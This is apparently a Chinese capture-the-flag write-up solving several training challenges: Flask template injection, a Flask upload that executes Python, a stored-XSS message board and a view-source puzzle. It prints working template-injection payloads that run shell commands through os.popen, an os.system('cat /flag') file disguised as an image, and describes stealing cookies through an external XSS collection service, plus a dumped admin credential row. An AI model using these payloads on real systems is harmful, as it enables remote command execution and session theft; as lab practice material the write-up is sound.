平台为“山东安信安全技术有限公司”自研CTF/AWD一体化平台,部分赛题采用动态FLAG形式,避免直接抄袭答案。
平台有题库、赛事预告、工具库、Writeup库等模块。
-------------------------------
Simple_SSTI_1
启动环境:
页面提示传入参数flag
F12查看源码得到第二个提示
SECRET_KEY(秘钥)是Flask中重要的一个配置值,在这题,构造语句查看它,得到flag
SECRET_KEY(秘钥)是Flask中重要的一个配置值,在这题,构造语句查看它,得到flag
-------------------------------------------------
Simple_SSTI_2
启动环境:
页面提示传入参数flag
f12查看源码,发现没有提示信息。
通过{{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}读取系统文件(读取网站系统目录),发现如下的文件夹:
通过{{ config.__class__.__init__.__globals__['os'].popen('ls ../app').read() }}
读取读取app目录下的文件,发现存在flag文件
通过{{ config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read() }}
读取flag内容,读取flag内容,最终得到flag
----------------------------------------
Flask_FileUpload
启动环境:
发现是上传文件
随便找张图片上传试试
查看源代码f12进入 注释告诉我们,会运行python的文件
根据需求,编写代码 写一个python代码改成jpg或者png格式的文件
import os
os.system('cat /flag')
上传 看看 在元素中即可查看flag
----------------------------------------
留言板:
开启环境:
提示需登录后台,需要使用python平台接收flag
打开场景后,出现了下面的界面。
- 看到此类的题目,应该和存储型xss有关,也就是将恶意代码保存到服务器端
- 即然在服务器端,那就是会在后台弹出窗口了
- 所以需要找到后台地址,看看能不能爆破进入,但是题目提示了说不需要登录后台,需要使用xss平台来接收cookies
- 测试一下script代码:
发现确实可以读取到。
使用目录扫描工具-御剑进行扫描试试
得到后台管理地址:/admin.php
账号密码不知道?
需要注意的是:该题目提示了无需登录后台!需要xss平台接收flag, http协议需要http协议的xss平台
所以,我们需要找一个xss平台(https://xssaq.com/),目前我找到的这个是免费可用的,其他的都需要付费。
将项目中提供的代码输入留言板中:
在查看扫描出来的db.sql(本人没扫出来)不知道他们怎么扫出来的
# Host: localhost (Version: 5.5.53)
# Date: 2019-08-04 16:13:22
# Generator: MySQL-Front 5.3 (Build 4.234)
/*!40101 SET NAMES utf8 */;
#
# Structure for table "text"
#
CREATE DATABASE xss DEFAULT CHARACTER SET utf8;
use xss;
DROP TABLE IF EXISTS `text`;
CREATE TABLE `text` (
`Id` int(11) NOT NULL AUTO_INCREMENT,
`text` varchar(255) DEFAULT NULL,
PRIMARY KEY (`Id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
#
# Data for table "text"
#
/*!40000 ALTER TABLE `text` DISABLE KEYS */;
/*!40000 ALTER TABLE `text` ENABLE KEYS */;
#
# Structure for table "user"
#
DROP TABLE IF EXISTS `user`;
CREATE TABLE `user` (
`Id` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(255) DEFAULT NULL,
`password` varchar(255) DEFAULT NULL,
PRIMARY KEY (`Id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
#
# Data for table "user"
#
/*!40000 ALTER TABLE `user` DISABLE KEYS */;
INSERT INTO `user` VALUES (1,'admin','011be4d65feac1a8');
/*!40000 ALTER TABLE `user` ENABLE KEYS */;
底部存在一组 user passwd
尝试解码登录
反射我们刚刚xss语句,我们在回到xss平台获得信息
查看获得cookie,flag加密信息,解码获得flag
-------------------------------------------
滑稽:
开启环境:
打开为以下界面
查看源代码 获得flag